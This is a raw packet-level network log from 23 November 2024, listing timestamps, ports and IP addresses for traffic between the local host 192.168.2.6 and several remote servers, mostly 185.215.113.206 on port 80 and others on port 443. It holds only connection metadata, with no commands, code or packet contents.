Nov 23, 2024 21:59:42.078162909 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.078834057 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.078877926 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.079148054 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.079204082 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.079682112 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.079735994 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.079894066 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.079938889 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.080424070 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.080477953 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.080600977 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.080710888 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.081211090 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.081258059 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.081525087 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.081569910 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.082029104 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.082040071 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.082076073 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.082788944 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.082833052 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.082875013 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.083566904 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.083614111 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.084207058 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.084284067 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.084357023 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.084367990 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.084408045 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.084434032 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.085243940 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.085292101 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.085583925 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.085633993 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.085913897 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.085927010 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.085952044 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.085963964 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.095817089 CET	443	49866	23.209.72.33	192.168.2.6
Nov 23, 2024 21:59:42.095844984 CET	443	49866	23.209.72.33	192.168.2.6
Nov 23, 2024 21:59:42.095895052 CET	49866	443	192.168.2.6	23.209.72.33
Nov 23, 2024 21:59:42.095923901 CET	443	49866	23.209.72.33	192.168.2.6
Nov 23, 2024 21:59:42.095940113 CET	49866	443	192.168.2.6	23.209.72.33
Nov 23, 2024 21:59:42.101286888 CET	443	49869	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:42.103027105 CET	49869	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:42.103056908 CET	443	49869	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:42.103760958 CET	49869	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:42.103768110 CET	443	49869	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:42.149513960 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.168044090 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:42.168270111 CET	49866	443	192.168.2.6	23.209.72.33
Nov 23, 2024 21:59:42.212601900 CET	443	49870	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:42.213243961 CET	49870	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:42.213257074 CET	443	49870	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:42.213939905 CET	49870	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:42.213944912 CET	443	49870	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:42.222166061 CET	443	49866	23.209.72.33	192.168.2.6
Nov 23, 2024 21:59:42.222176075 CET	443	49866	23.209.72.33	192.168.2.6
Nov 23, 2024 21:59:42.222251892 CET	49866	443	192.168.2.6	23.209.72.33
Nov 23, 2024 21:59:42.222279072 CET	443	49866	23.209.72.33	192.168.2.6
Nov 23, 2024 21:59:42.230084896 CET	443	49866	23.209.72.33	192.168.2.6
Nov 23, 2024 21:59:42.230148077 CET	49866	443	192.168.2.6	23.209.72.33
Nov 23, 2024 21:59:42.230166912 CET	443	49866	23.209.72.33	192.168.2.6
Nov 23, 2024 21:59:42.233329058 CET	443	49868	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:42.233737946 CET	49868	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:42.233747005 CET	443	49868	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:42.234283924 CET	49868	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:42.234287024 CET	443	49868	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:42.256654978 CET	443	49866	23.209.72.33	192.168.2.6
Nov 23, 2024 21:59:42.256669044 CET	443	49866	23.209.72.33	192.168.2.6
Nov 23, 2024 21:59:42.256685019 CET	443	49866	23.209.72.33	192.168.2.6
Nov 23, 2024 21:59:42.256697893 CET	443	49866	23.209.72.33	192.168.2.6
Nov 23, 2024 21:59:42.256742954 CET	49866	443	192.168.2.6	23.209.72.33
Nov 23, 2024 21:59:42.256762981 CET	443	49866	23.209.72.33	192.168.2.6
Nov 23, 2024 21:59:42.256795883 CET	49866	443	192.168.2.6	23.209.72.33
Nov 23, 2024 21:59:42.269130945 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.287349939 CET	443	49866	23.209.72.33	192.168.2.6
Nov 23, 2024 21:59:42.287358999 CET	443	49866	23.209.72.33	192.168.2.6
Nov 23, 2024 21:59:42.287369967 CET	443	49866	23.209.72.33	192.168.2.6
Nov 23, 2024 21:59:42.287411928 CET	443	49866	23.209.72.33	192.168.2.6
Nov 23, 2024 21:59:42.287425041 CET	49866	443	192.168.2.6	23.209.72.33
Nov 23, 2024 21:59:42.287441015 CET	443	49866	23.209.72.33	192.168.2.6
Nov 23, 2024 21:59:42.287524939 CET	49866	443	192.168.2.6	23.209.72.33
Nov 23, 2024 21:59:42.305510044 CET	443	49866	23.209.72.33	192.168.2.6
Nov 23, 2024 21:59:42.305574894 CET	49866	443	192.168.2.6	23.209.72.33
Nov 23, 2024 21:59:42.305593014 CET	443	49866	23.209.72.33	192.168.2.6
Nov 23, 2024 21:59:42.305732012 CET	49866	443	192.168.2.6	23.209.72.33
Nov 23, 2024 21:59:42.305960894 CET	49866	443	192.168.2.6	23.209.72.33
Nov 23, 2024 21:59:42.305986881 CET	443	49866	23.209.72.33	192.168.2.6
Nov 23, 2024 21:59:42.399640083 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.399672031 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.399678946 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.399697065 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.399703979 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.399725914 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.399750948 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:42.399775982 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.399790049 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:42.399816990 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:42.475119114 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.475153923 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.475162983 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.475203991 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.475210905 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:42.475250959 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.475260973 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.475271940 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:42.475271940 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:42.475284100 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:42.475310087 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:42.536777973 CET	443	49869	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:42.536849022 CET	443	49869	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:42.537137032 CET	49869	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:42.555708885 CET	49869	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:42.555752993 CET	443	49869	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:42.566478014 CET	49873	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:42.566517115 CET	443	49873	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:42.566618919 CET	49873	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:42.567106009 CET	49873	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:42.567116976 CET	443	49873	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:42.574310064 CET	443	49871	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:42.582905054 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.582926989 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.582957029 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.582966089 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.582990885 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.582993031 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:42.582995892 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.583061934 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:42.583089113 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:42.604302883 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.604377985 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.604502916 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.604554892 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.604636908 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.604695082 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.604805946 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.604840040 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.605113983 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.605195045 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.605559111 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.605603933 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.605923891 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.605973959 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.606431961 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.606547117 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.606936932 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.606960058 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.606985092 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.607004881 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.607078075 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.607122898 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.607685089 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.607736111 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.608215094 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.608261108 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.608443022 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.608462095 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.608489990 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.608510971 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.609280109 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.609335899 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.609522104 CET	49871	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:42.609544992 CET	443	49871	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:42.610058069 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.610073090 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.610091925 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.610096931 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.610121965 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.610131979 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.610830069 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.610871077 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.611037970 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.611113071 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.611515045 CET	49871	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:42.611521959 CET	443	49871	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:42.611620903 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.611772060 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.612139940 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.612421036 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.612433910 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.612473011 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.613164902 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.613234043 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.613995075 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.614006996 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.614020109 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.614043951 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.614073038 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.614768982 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.614886999 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.615034103 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.615070105 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.615484953 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.615629911 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.615778923 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.615822077 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.631616116 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.631628990 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.631664991 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.631673098 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.631678104 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:42.631730080 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:42.631741047 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.631793022 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:42.657448053 CET	443	49870	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:42.657618999 CET	443	49870	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:42.657680035 CET	49870	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:42.661005020 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.661040068 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.661083937 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:42.661117077 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.661132097 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:42.661178112 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:42.678859949 CET	49876	443	192.168.2.6	52.168.112.67
Nov 23, 2024 21:59:42.678884029 CET	443	49876	52.168.112.67	192.168.2.6
Nov 23, 2024 21:59:42.678935051 CET	49876	443	192.168.2.6	52.168.112.67
Nov 23, 2024 21:59:42.679155111 CET	49877	443	192.168.2.6	52.168.112.67
Nov 23, 2024 21:59:42.679181099 CET	443	49877	52.168.112.67	192.168.2.6
Nov 23, 2024 21:59:42.679234982 CET	49877	443	192.168.2.6	52.168.112.67
Nov 23, 2024 21:59:42.679347992 CET	49876	443	192.168.2.6	52.168.112.67
Nov 23, 2024 21:59:42.679358006 CET	443	49876	52.168.112.67	192.168.2.6
Nov 23, 2024 21:59:42.679476976 CET	49877	443	192.168.2.6	52.168.112.67
Nov 23, 2024 21:59:42.679491997 CET	443	49877	52.168.112.67	192.168.2.6
Nov 23, 2024 21:59:42.680769920 CET	49870	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:42.680778980 CET	443	49870	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:42.680805922 CET	49870	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:42.680809975 CET	443	49870	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:42.687753916 CET	443	49868	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:42.687822104 CET	443	49868	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:42.687863111 CET	49868	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:42.704792023 CET	49878	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:42.704839945 CET	443	49878	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:42.704915047 CET	49878	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:42.711848974 CET	49868	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:42.711868048 CET	443	49868	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:42.711893082 CET	49868	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:42.711898088 CET	443	49868	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:42.713963985 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.713994980 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.714045048 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:42.714065075 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.714102030 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:42.714117050 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:42.715882063 CET	49878	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:42.715894938 CET	443	49878	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:42.718724012 CET	49879	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:42.718746901 CET	443	49879	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:42.718812943 CET	49879	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:42.718915939 CET	49879	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:42.718924046 CET	443	49879	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:42.728804111 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.728878975 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.728895903 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.728986025 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.729268074 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.729342937 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.729358912 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.729423046 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.729927063 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.730040073 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.730091095 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.730494022 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.730544090 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.730560064 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.730612993 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.731342077 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.731508970 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.731549978 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.731601000 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.732086897 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.732147932 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.732187033 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.732242107 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.732887983 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.732985973 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.733396053 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.733465910 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.733634949 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.733685970 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.733690023 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.733733892 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.734420061 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.734546900 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.734587908 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.735224962 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.735266924 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.735275984 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.735323906 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.736016989 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.736085892 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.736154079 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.736285925 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.736774921 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.736958981 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.736968994 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.737071991 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.737581968 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.737592936 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.737641096 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.738360882 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.738400936 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.738754988 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.738826036 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.739140987 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.739180088 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.739316940 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.739444017 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.739942074 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.740004063 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.740181923 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.740225077 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.740722895 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.740735054 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.740773916 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.741482973 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.741497040 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.741520882 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.741539955 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.742259026 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.742347956 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.742718935 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.742763042 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.743067026 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.743081093 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.743125916 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.743825912 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.743882895 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.744208097 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.744662046 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.744715929 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.744801044 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.744891882 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.745439053 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.745500088 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.746206045 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.746218920 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.746232033 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.746283054 CET	49809	80	192.168.2.6	185.215.113.206
